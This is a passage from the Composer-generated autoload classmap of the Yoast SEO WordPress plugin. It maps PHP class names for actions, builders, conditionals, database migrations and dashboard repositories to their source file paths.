        'Yoast\\WHIPv2\\Messages\\InvalidVersionRequirementMessage' => __DIR__ . '/..' . '/yoast/whip/src/Messages/InvalidVersionRequirementMessage.php',
        'Yoast\\WHIPv2\\Messages\\NullMessage' => __DIR__ . '/..' . '/yoast/whip/src/Messages/NullMessage.php',
        'Yoast\\WHIPv2\\Messages\\UpgradePhpMessage' => __DIR__ . '/..' . '/yoast/whip/src/Messages/UpgradePhpMessage.php',
        'Yoast\\WHIPv2\\Presenters\\WPMessagePresenter' => __DIR__ . '/..' . '/yoast/whip/src/Presenters/WPMessagePresenter.php',
        'Yoast\\WHIPv2\\RequirementsChecker' => __DIR__ . '/..' . '/yoast/whip/src/RequirementsChecker.php',
        'Yoast\\WHIPv2\\VersionRequirement' => __DIR__ . '/..' . '/yoast/whip/src/VersionRequirement.php',
        'Yoast\\WHIPv2\\WPDismissOption' => __DIR__ . '/..' . '/yoast/whip/src/WPDismissOption.php',
        'Yoast\\WHIPv2\\WPMessageDismissListener' => __DIR__ . '/..' . '/yoast/whip/src/WPMessageDismissListener.php',
        'Yoast\\WP\\Lib\\Abstract_Main' => __DIR__ . '/../..' . '/lib/abstract-main.php',
        'Yoast\\WP\\Lib\\Dependency_Injection\\Container_Registry' => __DIR__ . '/../..' . '/lib/dependency-injection/container-registry.php',
        'Yoast\\WP\\Lib\\Migrations\\Adapter' => __DIR__ . '/../..' . '/lib/migrations/adapter.php',
        'Yoast\\WP\\Lib\\Migrations\\Column' => __DIR__ . '/../..' . '/lib/migrations/column.php',
        'Yoast\\WP\\Lib\\Migrations\\Constants' => __DIR__ . '/../..' . '/lib/migrations/constants.php',
        'Yoast\\WP\\Lib\\Migrations\\Migration' => __DIR__ . '/../..' . '/lib/migrations/migration.php',
        'Yoast\\WP\\Lib\\Migrations\\Table' => __DIR__ . '/../..' . '/lib/migrations/table.php',
        'Yoast\\WP\\Lib\\Model' => __DIR__ . '/../..' . '/lib/model.php',
        'Yoast\\WP\\Lib\\ORM' => __DIR__ . '/../..' . '/lib/orm.php',
        'Yoast\\WP\\SEO\\Actions\\Addon_Installation\\Addon_Activate_Action' => __DIR__ . '/../..' . '/src/actions/addon-installation/addon-activate-action.php',
        'Yoast\\WP\\SEO\\Actions\\Addon_Installation\\Addon_Install_Action' => __DIR__ . '/../..' . '/src/actions/addon-installation/addon-install-action.php',
        'Yoast\\WP\\SEO\\Actions\\Alert_Dismissal_Action' => __DIR__ . '/../..' . '/src/actions/alert-dismissal-action.php',
        'Yoast\\WP\\SEO\\Actions\\Configuration\\First_Time_Configuration_Action' => __DIR__ . '/../..' . '/src/actions/configuration/first-time-configuration-action.php',
        'Yoast\\WP\\SEO\\Actions\\Importing\\Abstract_Aioseo_Importing_Action' => __DIR__ . '/../..' . '/src/actions/importing/abstract-aioseo-importing-action.php',
        'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Abstract_Aioseo_Settings_Importing_Action' => __DIR__ . '/../..' . '/src/actions/importing/aioseo/abstract-aioseo-settings-importing-action.php',
        'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Cleanup_Action' => __DIR__ . '/../..' . '/src/actions/importing/aioseo/aioseo-cleanup-action.php',
        'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Custom_Archive_Settings_Importing_Action' => __DIR__ . '/../..' . '/src/actions/importing/aioseo/aioseo-custom-archive-settings-importing-action.php',
        'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Default_Archive_Settings_Importing_Action' => __DIR__ . '/../..' . '/src/actions/importing/aioseo/aioseo-default-archive-settings-importing-action.php',
        'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_General_Settings_Importing_Action' => __DIR__ . '/../..' . '/src/actions/importing/aioseo/aioseo-general-settings-importing-action.php',
        'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posts_Importing_Action' => __DIR__ . '/../..' . '/src/actions/importing/aioseo/aioseo-posts-importing-action.php',
        'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posttype_Defaults_Settings_Importing_Action' => __DIR__ . '/../..' . '/src/actions/importing/aioseo/aioseo-posttype-defaults-settings-importing-action.php',
        'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Taxonomy_Settings_Importing_Action' => __DIR__ . '/../..' . '/src/actions/importing/aioseo/aioseo-taxonomy-settings-importing-action.php',
        'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Validate_Data_Action' => __DIR__ . '/../..' . '/src/actions/importing/aioseo/aioseo-validate-data-action.php',
        'Yoast\\WP\\SEO\\Actions\\Importing\\Deactivate_Conflicting_Plugins_Action' => __DIR__ . '/../..' . '/src/actions/importing/deactivate-conflicting-plugins-action.php',
        'Yoast\\WP\\SEO\\Actions\\Importing\\Importing_Action_Interface' => __DIR__ . '/../..' . '/src/actions/importing/importing-action-interface.php',
        'Yoast\\WP\\SEO\\Actions\\Importing\\Importing_Indexation_Action_Interface' => __DIR__ . '/../..' . '/src/actions/importing/importing-indexation-action-interface.php',
        'Yoast\\WP\\SEO\\Actions\\Indexables\\Indexable_Head_Action' => __DIR__ . '/../..' . '/src/actions/indexables/indexable-head-action.php',
        'Yoast\\WP\\SEO\\Actions\\Indexing\\Abstract_Indexing_Action' => __DIR__ . '/../..' . '/src/actions/indexing/abstract-indexing-action.php',
        'Yoast\\WP\\SEO\\Actions\\Indexing\\Abstract_Link_Indexing_Action' => __DIR__ . '/../..' . '/src/actions/indexing/abstract-link-indexing-action.php',
        'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action' => __DIR__ . '/../..' . '/src/actions/indexing/indexable-general-indexation-action.php',
        'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Indexing_Complete_Action' => __DIR__ . '/../..' . '/src/actions/indexing/indexable-indexing-complete-action.php',
        'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action' => __DIR__ . '/../..' . '/src/actions/indexing/indexable-post-indexation-action.php',
        'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action' => __DIR__ . '/../..' . '/src/actions/indexing/indexable-post-type-archive-indexation-action.php',
        'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action' => __DIR__ . '/../..' . '/src/actions/indexing/indexable-term-indexation-action.php',
        'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexation_Action_Interface' => __DIR__ . '/../..' . '/src/actions/indexing/indexation-action-interface.php',
        'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexing_Complete_Action' => __DIR__ . '/../..' . '/src/actions/indexing/indexing-complete-action.php',
        'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexing_Prepare_Action' => __DIR__ . '/../..' . '/src/actions/indexing/indexing-prepare-action.php',
        'Yoast\\WP\\SEO\\Actions\\Indexing\\Limited_Indexing_Action_Interface' => __DIR__ . '/../..' . '/src/actions/indexing/limited-indexing-action-interface.php',
        'Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action' => __DIR__ . '/../..' . '/src/actions/indexing/post-link-indexing-action.php',
        'Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action' => __DIR__ . '/../..' . '/src/actions/indexing/term-link-indexing-action.php',
        'Yoast\\WP\\SEO\\Actions\\Integrations_Action' => __DIR__ . '/../..' . '/src/actions/integrations-action.php',
        'Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Login_Action' => __DIR__ . '/../..' . '/src/actions/semrush/semrush-login-action.php',
        'Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Options_Action' => __DIR__ . '/../..' . '/src/actions/semrush/semrush-options-action.php',
        'Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Phrases_Action' => __DIR__ . '/../..' . '/src/actions/semrush/semrush-phrases-action.php',
        'Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Account_Action' => __DIR__ . '/../..' . '/src/actions/wincher/wincher-account-action.php',
        'Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Keyphrases_Action' => __DIR__ . '/../..' . '/src/actions/wincher/wincher-keyphrases-action.php',
        'Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Login_Action' => __DIR__ . '/../..' . '/src/actions/wincher/wincher-login-action.php',
        'Yoast\\WP\\SEO\\Analytics\\Application\\Missing_Indexables_Collector' => __DIR__ . '/../..' . '/src/analytics/application/missing-indexables-collector.php',
        'Yoast\\WP\\SEO\\Analytics\\Application\\To_Be_Cleaned_Indexables_Collector' => __DIR__ . '/../..' . '/src/analytics/application/to-be-cleaned-indexables-collector.php',
        'Yoast\\WP\\SEO\\Analytics\\Domain\\Missing_Indexable_Bucket' => __DIR__ . '/../..' . '/src/analytics/domain/missing-indexable-bucket.php',
        'Yoast\\WP\\SEO\\Analytics\\Domain\\Missing_Indexable_Count' => __DIR__ . '/../..' . '/src/analytics/domain/missing-indexable-count.php',
        'Yoast\\WP\\SEO\\Analytics\\Domain\\To_Be_Cleaned_Indexable_Bucket' => __DIR__ . '/../..' . '/src/analytics/domain/to-be-cleaned-indexable-bucket.php',
        'Yoast\\WP\\SEO\\Analytics\\Domain\\To_Be_Cleaned_Indexable_Count' => __DIR__ . '/../..' . '/src/analytics/domain/to-be-cleaned-indexable-count.php',
        'Yoast\\WP\\SEO\\Analytics\\User_Interface\\Last_Completed_Indexation_Integration' => __DIR__ . '/../..' . '/src/analytics/user-interface/last-completed-indexation-integration.php',
        'Yoast\\WP\\SEO\\Builders\\Indexable_Author_Builder' => __DIR__ . '/../..' . '/src/builders/indexable-author-builder.php',
        'Yoast\\WP\\SEO\\Builders\\Indexable_Builder' => __DIR__ . '/../..' . '/src/builders/indexable-builder.php',
        'Yoast\\WP\\SEO\\Builders\\Indexable_Date_Archive_Builder' => __DIR__ . '/../..' . '/src/builders/indexable-date-archive-builder.php',
        'Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder' => __DIR__ . '/../..' . '/src/builders/indexable-hierarchy-builder.php',
        'Yoast\\WP\\SEO\\Builders\\Indexable_Home_Page_Builder' => __DIR__ . '/../..' . '/src/builders/indexable-home-page-builder.php',
        'Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder' => __DIR__ . '/../..' . '/src/builders/indexable-link-builder.php',
        'Yoast\\WP\\SEO\\Builders\\Indexable_Post_Builder' => __DIR__ . '/../..' . '/src/builders/indexable-post-builder.php',
        'Yoast\\WP\\SEO\\Builders\\Indexable_Post_Type_Archive_Builder' => __DIR__ . '/../..' . '/src/builders/indexable-post-type-archive-builder.php',
        'Yoast\\WP\\SEO\\Builders\\Indexable_Social_Image_Trait' => __DIR__ . '/../..' . '/src/builders/indexable-social-image-trait.php',
        'Yoast\\WP\\SEO\\Builders\\Indexable_System_Page_Builder' => __DIR__ . '/../..' . '/src/builders/indexable-system-page-builder.php',
        'Yoast\\WP\\SEO\\Builders\\Indexable_Term_Builder' => __DIR__ . '/../..' . '/src/builders/indexable-term-builder.php',
        'Yoast\\WP\\SEO\\Builders\\Primary_Term_Builder' => __DIR__ . '/../..' . '/src/builders/primary-term-builder.php',
        'Yoast\\WP\\SEO\\Commands\\Cleanup_Command' => __DIR__ . '/../..' . '/src/commands/cleanup-command.php',
        'Yoast\\WP\\SEO\\Commands\\Command_Interface' => __DIR__ . '/../..' . '/src/commands/command-interface.php',
        'Yoast\\WP\\SEO\\Commands\\Index_Command' => __DIR__ . '/../..' . '/src/commands/index-command.php',
        'Yoast\\WP\\SEO\\Conditionals\\Addon_Installation_Conditional' => __DIR__ . '/../..' . '/src/conditionals/addon-installation-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Admin\\Doing_Post_Quick_Edit_Save_Conditional' => __DIR__ . '/../..' . '/src/conditionals/admin/doing-post-quick-edit-save-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Admin\\Estimated_Reading_Time_Conditional' => __DIR__ . '/../..' . '/src/conditionals/admin/estimated-reading-time-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Admin\\Licenses_Page_Conditional' => __DIR__ . '/../..' . '/src/conditionals/admin/licenses-page-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Admin\\Non_Network_Admin_Conditional' => __DIR__ . '/../..' . '/src/conditionals/admin/non-network-admin-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Admin\\Post_Conditional' => __DIR__ . '/../..' . '/src/conditionals/admin/post-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Admin\\Posts_Overview_Or_Ajax_Conditional' => __DIR__ . '/../..' . '/src/conditionals/admin/posts-overview-or-ajax-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Admin\\Yoast_Admin_Conditional' => __DIR__ . '/../..' . '/src/conditionals/admin/yoast-admin-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Admin_Conditional' => __DIR__ . '/../..' . '/src/conditionals/admin-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Attachment_Redirections_Enabled_Conditional' => __DIR__ . '/../..' . '/src/conditionals/attachment-redirections-enabled-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Check_Required_Version_Conditional' => __DIR__ . '/../..' . '/src/conditionals/check-required-version-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Conditional' => __DIR__ . '/../..' . '/src/conditionals/conditional-interface.php',
        'Yoast\\WP\\SEO\\Conditionals\\Deactivating_Yoast_Seo_Conditional' => __DIR__ . '/../..' . '/src/conditionals/deactivating-yoast-seo-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Development_Conditional' => __DIR__ . '/../..' . '/src/conditionals/development-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Feature_Flag_Conditional' => __DIR__ . '/../..' . '/src/conditionals/feature-flag-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Front_End_Conditional' => __DIR__ . '/../..' . '/src/conditionals/front-end-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Get_Request_Conditional' => __DIR__ . '/../..' . '/src/conditionals/get-request-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Headless_Rest_Endpoints_Enabled_Conditional' => __DIR__ . '/../..' . '/src/conditionals/headless-rest-endpoints-enabled-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Import_Tool_Selected_Conditional' => __DIR__ . '/../..' . '/src/conditionals/import-tool-selected-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Jetpack_Conditional' => __DIR__ . '/../..' . '/src/conditionals/jetpack-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Migrations_Conditional' => __DIR__ . '/../..' . '/src/conditionals/migrations-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\New_Settings_Ui_Conditional' => __DIR__ . '/../..' . '/src/conditionals/new-settings-ui-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\News_Conditional' => __DIR__ . '/../..' . '/src/conditionals/news-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\No_Conditionals' => __DIR__ . '/../..' . '/src/conditionals/no-conditionals-trait.php',
        'Yoast\\WP\\SEO\\Conditionals\\No_Tool_Selected_Conditional' => __DIR__ . '/../..' . '/src/conditionals/no-tool-selected-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Non_Multisite_Conditional' => __DIR__ . '/../..' . '/src/conditionals/non-multisite-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Not_Admin_Ajax_Conditional' => __DIR__ . '/../..' . '/src/conditionals/not-admin-ajax-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Open_Graph_Conditional' => __DIR__ . '/../..' . '/src/conditionals/open-graph-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Premium_Active_Conditional' => __DIR__ . '/../..' . '/src/conditionals/premium-active-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Premium_Inactive_Conditional' => __DIR__ . '/../..' . '/src/conditionals/premium-inactive-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Primary_Category_Conditional' => __DIR__ . '/../..' . '/src/conditionals/primary-category-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Robots_Txt_Conditional' => __DIR__ . '/../..' . '/src/conditionals/robots-txt-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\SEMrush_Enabled_Conditional' => __DIR__ . '/../..' . '/src/conditionals/semrush-enabled-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Settings_Conditional' => __DIR__ . '/../..' . '/src/conditionals/settings-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Should_Index_Links_Conditional' => __DIR__ . '/../..' . '/src/conditionals/should-index-links-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Text_Formality_Conditional' => __DIR__ . '/../..' . '/src/conditionals/text-formality-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Elementor_Activated_Conditional' => __DIR__ . '/../..' . '/src/conditionals/third-party/elementor-activated-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Elementor_Edit_Conditional' => __DIR__ . '/../..' . '/src/conditionals/third-party/elementor-edit-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Polylang_Conditional' => __DIR__ . '/../..' . '/src/conditionals/third-party/polylang-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\TranslatePress_Conditional' => __DIR__ . '/../..' . '/src/conditionals/third-party/translatepress-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\W3_Total_Cache_Conditional' => __DIR__ . '/../..' . '/src/conditionals/third-party/w3-total-cache-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_Conditional' => __DIR__ . '/../..' . '/src/conditionals/third-party/wpml-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_WPSEO_Conditional' => __DIR__ . '/../..' . '/src/conditionals/third-party/wpml-wpseo-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Wordproof_Integration_Active_Conditional' => __DIR__ . '/../..' . '/src/deprecated/src/conditionals/third-party/wordproof-integration-active-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Wordproof_Plugin_Inactive_Conditional' => __DIR__ . '/../..' . '/src/deprecated/src/conditionals/third-party/wordproof-plugin-inactive-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Traits\\Admin_Conditional_Trait' => __DIR__ . '/../..' . '/src/conditionals/traits/admin-conditional-trait.php',
        'Yoast\\WP\\SEO\\Conditionals\\Updated_Importer_Framework_Conditional' => __DIR__ . '/../..' . '/src/conditionals/updated-importer-framework-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\User_Can_Edit_Users_Conditional' => __DIR__ . '/../..' . '/src/conditionals/user-can-edit-users-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\User_Can_Manage_Wpseo_Options_Conditional' => __DIR__ . '/../..' . '/src/conditionals/user-can-manage-wpseo-options-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\User_Can_Publish_Posts_And_Pages_Conditional' => __DIR__ . '/../..' . '/src/conditionals/user-can-publish-posts-and-pages-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\User_Edit_Conditional' => __DIR__ . '/../..' . '/src/conditionals/user-edit-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\User_Profile_Conditional' => __DIR__ . '/../..' . '/src/conditionals/user-profile-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\WP_CRON_Enabled_Conditional' => __DIR__ . '/../..' . '/src/conditionals/wp-cron-enabled-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\WP_Robots_Conditional' => __DIR__ . '/../..' . '/src/conditionals/wp-robots-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Web_Stories_Conditional' => __DIR__ . '/../..' . '/src/conditionals/web-stories-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Wincher_Automatically_Track_Conditional' => __DIR__ . '/../..' . '/src/conditionals/wincher-automatically-track-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Wincher_Conditional' => __DIR__ . '/../..' . '/src/conditionals/wincher-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Wincher_Enabled_Conditional' => __DIR__ . '/../..' . '/src/conditionals/wincher-enabled-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Wincher_Token_Conditional' => __DIR__ . '/../..' . '/src/conditionals/wincher-token-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional' => __DIR__ . '/../..' . '/src/conditionals/woocommerce-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\XMLRPC_Conditional' => __DIR__ . '/../..' . '/src/conditionals/xmlrpc-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Yoast_Admin_And_Dashboard_Conditional' => __DIR__ . '/../..' . '/src/conditionals/yoast-admin-and-dashboard-conditional.php',
        'Yoast\\WP\\SEO\\Conditionals\\Yoast_Tools_Page_Conditional' => __DIR__ . '/../..' . '/src/conditionals/yoast-tools-page-conditional.php',
        'Yoast\\WP\\SEO\\Config\\Badge_Group_Names' => __DIR__ . '/../..' . '/src/config/badge-group-names.php',
        'Yoast\\WP\\SEO\\Config\\Conflicting_Plugins' => __DIR__ . '/../..' . '/src/config/conflicting-plugins.php',
        'Yoast\\WP\\SEO\\Config\\Indexing_Reasons' => __DIR__ . '/../..' . '/src/config/indexing-reasons.php',
        'Yoast\\WP\\SEO\\Config\\Migration_Status' => __DIR__ . '/../..' . '/src/config/migration-status.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\AddCollationToTables' => __DIR__ . '/../..' . '/src/config/migrations/20200408101900_AddCollationToTables.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\AddColumnsToIndexables' => __DIR__ . '/../..' . '/src/config/migrations/20200420073606_AddColumnsToIndexables.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\AddEstimatedReadingTime' => __DIR__ . '/../..' . '/src/config/migrations/20201202144329_AddEstimatedReadingTime.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\AddHasAncestorsColumn' => __DIR__ . '/../..' . '/src/config/migrations/20200609154515_AddHasAncestorsColumn.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\AddInclusiveLanguageScore' => __DIR__ . '/../..' . '/src/config/migrations/20230417083836_AddInclusiveLanguageScore.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\AddIndexableObjectIdAndTypeIndex' => __DIR__ . '/../..' . '/src/config/migrations/20200430075614_AddIndexableObjectIdAndTypeIndex.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\AddIndexesForProminentWordsOnIndexables' => __DIR__ . '/../..' . '/src/config/migrations/20200728095334_AddIndexesForProminentWordsOnIndexables.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\AddObjectTimestamps' => __DIR__ . '/../..' . '/src/config/migrations/20211020091404_AddObjectTimestamps.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\AddVersionColumnToIndexables' => __DIR__ . '/../..' . '/src/config/migrations/20210817092415_AddVersionColumnToIndexables.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\BreadcrumbTitleAndHierarchyReset' => __DIR__ . '/../..' . '/src/config/migrations/20200428123747_BreadcrumbTitleAndHierarchyReset.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\ClearIndexableTables' => __DIR__ . '/../..' . '/src/config/migrations/20200430150130_ClearIndexableTables.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\CreateIndexableSubpagesIndex' => __DIR__ . '/../..' . '/src/config/migrations/20200702141921_CreateIndexableSubpagesIndex.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\CreateSEOLinksTable' => __DIR__ . '/../..' . '/src/config/migrations/20200617122511_CreateSEOLinksTable.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\DeleteDuplicateIndexables' => __DIR__ . '/../..' . '/src/config/migrations/20200507054848_DeleteDuplicateIndexables.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\ExpandIndexableColumnLengths' => __DIR__ . '/../..' . '/src/config/migrations/20200428194858_ExpandIndexableColumnLengths.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\ExpandIndexableIDColumnLengths' => __DIR__ . '/../..' . '/src/config/migrations/20201216124002_ExpandIndexableIDColumnLengths.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\ExpandPrimaryTermIDColumnLengths' => __DIR__ . '/../..' . '/src/config/migrations/20201216141134_ExpandPrimaryTermIDColumnLengths.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\ReplacePermalinkHashIndex' => __DIR__ . '/../..' . '/src/config/migrations/20200616130143_ReplacePermalinkHashIndex.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\ResetIndexableHierarchyTable' => __DIR__ . '/../..' . '/src/config/migrations/20200513133401_ResetIndexableHierarchyTable.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\TruncateIndexableTables' => __DIR__ . '/../..' . '/src/config/migrations/20200429105310_TruncateIndexableTables.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastDropIndexableMetaTableIfExists' => __DIR__ . '/../..' . '/src/config/migrations/20190529075038_WpYoastDropIndexableMetaTableIfExists.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastIndexable' => __DIR__ . '/../..' . '/src/config/migrations/20171228151840_WpYoastIndexable.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastIndexableHierarchy' => __DIR__ . '/../..' . '/src/config/migrations/20191011111109_WpYoastIndexableHierarchy.php',
        'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastPrimaryTerm' => __DIR__ . '/../..' . '/src/config/migrations/20171228151841_WpYoastPrimaryTerm.php',
        'Yoast\\WP\\SEO\\Config\\OAuth_Client' => __DIR__ . '/../..' . '/src/config/oauth-client.php',
        'Yoast\\WP\\SEO\\Config\\Researcher_Languages' => __DIR__ . '/../..' . '/src/config/researcher-languages.php',
        'Yoast\\WP\\SEO\\Config\\SEMrush_Client' => __DIR__ . '/../..' . '/src/config/semrush-client.php',
        'Yoast\\WP\\SEO\\Config\\Schema_IDs' => __DIR__ . '/../..' . '/src/config/schema-ids.php',
        'Yoast\\WP\\SEO\\Config\\Schema_Types' => __DIR__ . '/../..' . '/src/config/schema-types.php',
        'Yoast\\WP\\SEO\\Config\\Wincher_Client' => __DIR__ . '/../..' . '/src/config/wincher-client.php',
        'Yoast\\WP\\SEO\\Config\\Wincher_PKCE_Provider' => __DIR__ . '/../..' . '/src/config/wincher-pkce-provider.php',
        'Yoast\\WP\\SEO\\Config\\Wordproof_App_Config' => __DIR__ . '/../..' . '/src/deprecated/src/config/wordproof-app-config.php',
        'Yoast\\WP\\SEO\\Config\\Wordproof_Translations' => __DIR__ . '/../..' . '/src/deprecated/src/config/wordproof-translations.php',
        'Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Dismiss_Notifications' => __DIR__ . '/../..' . '/src/content-type-visibility/application/content-type-visibility-dismiss-notifications.php',
        'Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Watcher_Actions' => __DIR__ . '/../..' . '/src/content-type-visibility/application/content-type-visibility-watcher-actions.php',
        'Yoast\\WP\\SEO\\Content_Type_Visibility\\User_Interface\\Content_Type_Visibility_Dismiss_New_Route' => __DIR__ . '/../..' . '/src/content-type-visibility/user-interface/content-type-visibility-dismiss-new-route.php',
        'Yoast\\WP\\SEO\\Context\\Meta_Tags_Context' => __DIR__ . '/../..' . '/src/context/meta-tags-context.php',
        'Yoast\\WP\\SEO\\Dashboard\\Application\\Configuration\\Dashboard_Configuration' => __DIR__ . '/../..' . '/src/dashboard/application/configuration/dashboard-configuration.php',
        'Yoast\\WP\\SEO\\Dashboard\\Application\\Content_Types\\Content_Types_Repository' => __DIR__ . '/../..' . '/src/dashboard/application/content-types/content-types-repository.php',
        'Yoast\\WP\\SEO\\Dashboard\\Application\\Endpoints\\Endpoints_Repository' => __DIR__ . '/../..' . '/src/dashboard/application/endpoints/endpoints-repository.php',
        'Yoast\\WP\\SEO\\Dashboard\\Application\\Filter_Pairs\\Filter_Pairs_Repository' => __DIR__ . '/../..' . '/src/dashboard/application/filter-pairs/filter-pairs-repository.php',
        'Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\Abstract_Score_Results_Repository' => __DIR__ . '/../..' . '/src/dashboard/application/score-results/abstract-score-results-repository.php',
        'Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\Current_Scores_Repository' => __DIR__ . '/../..' . '/src/dashboard/application/score-results/current-scores-repository.php',
        'Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\Readability_Score_Results\\Readability_Score_Results_Repository' => __DIR__ . '/../..' . '/src/dashboard/application/score-results/readability-score-results/readability-score-results-repository.php',
        'Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\SEO_Score_Results\\SEO_Score_Results_Repository' => __DIR__ . '/../..' . '/src/dashboard/application/score-results/seo-score-results/seo-score-results-repository.php',
        'Yoast\\WP\\SEO\\Dashboard\\Application\\Taxonomies\\Taxonomies_Repository' => __DIR__ . '/../..' . '/src/dashboard/application/taxonomies/taxonomies-repository.php',
